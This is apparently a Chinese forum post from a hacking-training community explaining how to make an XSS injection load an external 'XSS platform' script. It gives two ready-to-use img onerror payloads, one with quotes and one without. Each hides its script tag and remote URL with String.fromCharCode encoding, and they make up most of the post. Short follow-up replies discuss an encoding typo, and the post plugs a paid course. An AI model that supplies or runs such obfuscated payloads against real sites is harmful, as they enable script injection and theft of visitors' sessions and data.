XSS漏洞如何在標(biāo)簽內(nèi)調(diào)用xss平臺(tái)鏈接

我愛ZP

XSS漏洞如何在標(biāo)簽內(nèi)調(diào)用xss平臺(tái)鏈接


<iMg/sRc=1 onerror=1=//www.xxx.com/xxx.js>
今天有學(xué)員問如何在標(biāo)簽內(nèi)調(diào)用XSS平臺(tái)鏈接，問這樣在標(biāo)簽內(nèi)寫上js的網(wǎng)址可以執(zhí)行嗎？答：不行，因?yàn)閛nerror內(nèi)聯(lián)事件，寫javascript語法。




解決辦法：
<img/src="1"onerror="window.s=document.createElement(String.fromCharCode(115,99,114,105,112,116));window.s.src=String.fromCharCode(104,116,116,112,58,47,47,49,50,55,46,48,46,48,46,49,47,50,46,106,115);document.body.appendChild(window.s)">

無引號(hào)版payload：
<img/src=1 onerror=(function(){window.s=document.createElement(String.fromCharCode(115,99,114,105,112,116));window.s.src=String.fromCharCode(104,116,116,112,58,47,47,49,50,55,46,48,46,48,46,49,47,50,46,106,115);document.body.appendChild(window.s)})()>


ZP培訓(xùn)：http://rigasin.com/thread-10128-1-1.html

課程截圖：

bkywt1277

這個(gè)編碼轉(zhuǎn)換后是    少了t是你筆誤嘛  是的話我在加上這些編碼

我愛ZP

如圖

我愛ZP

bkywt1277 發(fā)表于 2020-3-6 18:17
這個(gè)編碼轉(zhuǎn)換后是    少了t是你筆誤嘛  是的話我在加上這些編碼

如圖

bkywt1277

好的 謝謝